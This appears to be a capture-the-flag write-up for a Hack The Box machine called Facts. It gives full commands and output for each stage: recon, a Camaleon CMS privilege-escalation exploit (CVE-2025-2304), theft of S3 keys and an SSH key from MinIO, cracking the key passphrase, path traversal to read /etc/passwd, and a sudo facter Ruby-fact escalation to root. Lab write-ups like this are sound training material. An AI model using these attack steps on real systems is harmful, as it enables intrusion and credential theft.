Reconnaissance
I begin with a Nmap to identify any services running.
nmap 10.129.13.242 -sV -sC -p- --min-rate=1000 -v -oN FactsResultsNmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA) |_ 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-server-header: nginx/1.26.3 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://facts.htb/ 54321/tcp open http Golang net/http server | http-methods: |_ Supported Methods: GET OPTIONS |_http-server-header: MinIO |_http-title: Did not follow redirect to http://10.129.13.242:9001 | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 400 Bad Request | Accept-Ranges: bytes | Content-Length: 303 | Content-Type: application/xml | Server: MinIO | Strict-Transport-Security: max-age=31536000; includeSubDomains | Vary: Origin | X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8 | X-Amz-Request-Id: 1892B0FA48EE343E | X-Content-Type-Options: nosniff | X-Xss-Protection: 1; mode=block | Date: Mon, 09 Feb 2026 21:23:12 GMT | <?xml version="1.0" encoding="UTF-8"?> | <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>1892B0FA48EE343E</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error> | GenericLines, Help, RTSPRequest, SSLSessionReq: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 400 Bad Request | Accept-Ranges: bytes | Content-Length: 276 | Content-Type: application/xml | Server: MinIO | Strict-Transport-Security: max-age=31536000; includeSubDomains | Vary: Origin | X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8 | X-Amz-Request-Id: 1892B0F6895A40B9 | X-Content-Type-Options: nosniff | X-Xss-Protection: 1; mode=block | Date: Mon, 09 Feb 2026 21:22:56 GMT | <?xml version="1.0" encoding="UTF-8"?> | <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>1892B0F6895A40B9</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error> | HTTPOptions: | HTTP/1.0 200 OK | Vary: Origin | Date: Mon, 09 Feb 2026 21:22:56 GMT |_ Content-Length: 0
The scan shows an Ubuntu Linux host running SSH, an Nginx web service that redirects to the facts.htb virtual host, and a MinIO object storage service exposed on port 54321.
I updated my /etc/hosts list. I attempted to access the web that's running behind port 54321, but it redirects me to :9001 and then gives "can't be reached" error. I accessed the original port 80 web page, and it appears to be a fictional trivia site. It runs on Camaleon CMS
I went through some of the pages about random "facts", but nothing appeared out of ordinary. I ran a ffuf scan, searching for potential vhosts/subdomains on this server.
ffuf -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt" -u "http://10.129.13.242" -H "Host: FUZZ.facts.htb" -fw 4
But came empty-handed.
I found out there there's a search query for where you would want to search for "facts" via /search?q=1. I attempted to perform SQL injection via SQLmap, but didn't go anywhere with this after a while.
sqlmap -u 'http://facts.htb/search?q=1' --level=3 --risk=3 --batch
I ran another ffuf scan searching for any possible directories, and some interesting results came up on the list:
ffuf -w /usr/share/finalrecon/wordlists/dirb_common.txt -u "http://facts.htb/FUZZ" -fl 125
400 [Status: 200, Size: 6685, Words: 993, Lines: 115, Duration: 2209ms] 404 [Status: 200, Size: 4836, Words: 832, Lines: 115, Duration: 2002ms] 500 [Status: 200, Size: 7918, Words: 1035, Lines: 115, Duration: 2055ms] admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2145ms] admin.cgi [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2121ms] admin.pl [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2029ms] admin.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2072ms] ajax [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 2400ms]
Most of the admin directories will just lead straight to /admin portal, but interestingly enough the status codes had it's own pages.
What's interesting here is the ability for a user to create a new account on a /admin portal. I did just with dummy info that just to evaluate how can this go.
Upon logging in, it takes me straight to /admin/dashboard page, though there isn't information/data to go off from since my user has limited privileges.
A while ago it was mentioned that the service here in question is Camaleon CMS. I wanted to find out the version here, and luckily the answer was in the depths of source code.
I went ahead and searched up for any CVEs that were attached to this, and CVE-2025-2304 came up as one of them.
As per NIST: "A Privilege Escalation through a Mass Assignment exists in Camaleon CMS When a user wishes to change his password, the 'updated_ajax' method of the UsersController is called. The vulnerability stems from the use of the dangerous permit! method, which allows all parameters to pass through without any filtering."
I was going to use the PoC exploit I found on GitHub.
python3 exp.py http://facts.htb [user] [pass]
[*] Logging in as asd ... [+] Login successful [+] Got profile page [i] Version detected: 2.9.0 (< 2.9.1) - appears to be vulnerable version [+] authenticity_token: SDY8ZeB1koKZ8AAurQ_oa-3uvKC1JBiCc0H8OC1GIboY_lgg0JLti6KWJi7ZBjbJfg2STlNKtoxAuFmCjXR6kA http://facts.htb/admin/users/6/updated_ajax [*] Submitting password change request [+] Submit successful, you should be admin
Checking back on /admin/dashboard, the dashboard drastically changed, and I was practically an actual admin on this server now with more features available than prior.
After digging into some of the pages to see if I can uncover any info, the /admin/setting/site page for Filesystem Settings was a smoking gun, because it revealed S3 secret keys and other vital information to move forward.
Exploitation
Using AWS CLI, I made a 2nd profile and had it configured. Then I performed enumeration.
aws configure --profile second-account
AWS Access Key ID [None]: AKIA44FE29989602803E AWS Secret Access Key [None]: TtCY41WLZwcoEkfuPhLDSGhUiA00jdPt+9iwVMAu
aws --profile second-account --endpoint-url http://10.129.13.242:54321 s3 ls
2025-09-11 05:06:52 internal 2025-09-11 05:06:52 randomfacts
I viewed the randomfacts bucket first, however nothing of value was found. Most of the contents were from the facts.htb website itself. The second bucket, internal provided some serious files.
aws --profile second-account --endpoint-url http://10.129.13.242:54321 s3 ls s3://internal/ --recursive
2026-01-08 11:01:43 0 .cache/motd.legal-displayed 2026-01-08 10:47:17 20 .lesshst 2026-01-08 10:47:17 807 .profile 2026-02-09 13:20:47 82 .ssh/authorized_keys 2026-02-09 13:20:47 464 .ssh/id_ed25519
I went ahead and exfiltrated the four files specifically
aws --profile second-account --endpoint-url http://10.129.13.242:54321 s3 cp s3://internal/ . --recursive --exclude "*" --include ".cache/motd.legal-displayed" --include ".lesshst" --include ".profile" --include ".ssh/authorized_keys" --include ".ssh/id_ed25519"
download: s3://internal/.lesshst to ./.lesshst download: s3://internal/.cache/motd.legal-displayed to .cache/motd.legal-displayed download: s3://internal/.profile to ./.profile download: s3://internal/.ssh/id_ed25519 to .ssh/id_ed25519 download: s3://internal/.ssh/authorized_keys to .ssh/authorized_keys
The most important file in our case was the id_ed25519, and I had to manually crack it using John the Ripper. First the key had to be converted to a hash and I used ssh2john for this.
ssh2john id_ed25519 > key_hash.txt
john --wordlist=/rockyou.txt key_hash.txt
id_ed25519:dragonballz 1 password hash cracked, 0 left
There was still an issue, and it's that I ironically know the passphrase/password, but I don't know the username of who this belongs too. I had to backtrack and figure it out. Earlier when I was scavenging for possible CVEs for Camaleon and there was a 2nd one, CVE-2024-46987, and as per NVD: Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails. A path traversal vulnerability accessible via MediaController's download_private_file method allows authenticated users to download any file on the web server Camaleon CMS is running on (depending on the file permissions). This issue may lead to Information Disclosure.
This was all needed to perform an LFI attack and uncover the contents of /etc/passwd and find out who are the users here.
I used this PoC script from Goultarde for CVE-2024-46987.
python3 CVE-2024-46987.py -u http://facts.htb -l 1234 -p 123 /etc/passwd
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash william:x:1001:1001::/home/william:/bin/bash
Only two came out that had /bin/bash as their login shell, indicating interactive access. I tried William first however it didn't work. But the trivia account was successful, and was able to obtain the user.txt flag located in William's folder.
ssh -i id_ed25519 trivia@10.129.13.242
trivia@facts:~$ find / -name "user.txt" 2>/dev/null /home/william/user.txt
Privilege Escalation
First things I did is manually check to see if trivia can run anything sudo w/o password with sudo -l.
Matching Defaults entries for trivia on facts: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter
It seems it can run facter. I proceeded to check it's version (if possible):
trivia@facts:~$ facter --version 4.10.0
After doing some research about this tool, Facter is a system profiling tool from Puppet. It collects "facts" about the system and supports loading custom facts written in Ruby via the --custom-dir.
The next step here is to exploit Facter for root. Since facter loads and executes Ruby files from a user-specified directory via --custom-dir, and we can run it as root with sudo, I could try and achieve arbitrary command execution as root.
1) I created a directory for the malicious fact:
mkdir -p /tmp/facts
2) Write a custom Ruby fact that reads the root flag (most of the time for HTB machines, it's located in /root/root.txt)
echo 'Facter.add(:pwned) do
setcode do
Facter::Core::Execution.execute("cat /root/root.txt")
end
end' > /tmp/facts/pwn.rb
3) Run facter as root with custom fact directory
sudo /usr/bin/facter --custom-dir /tmp/facts pwned
The custom Ruby fact executes cat /root/root.txt as root, and facter returns the output as the value of the "pwned" fact.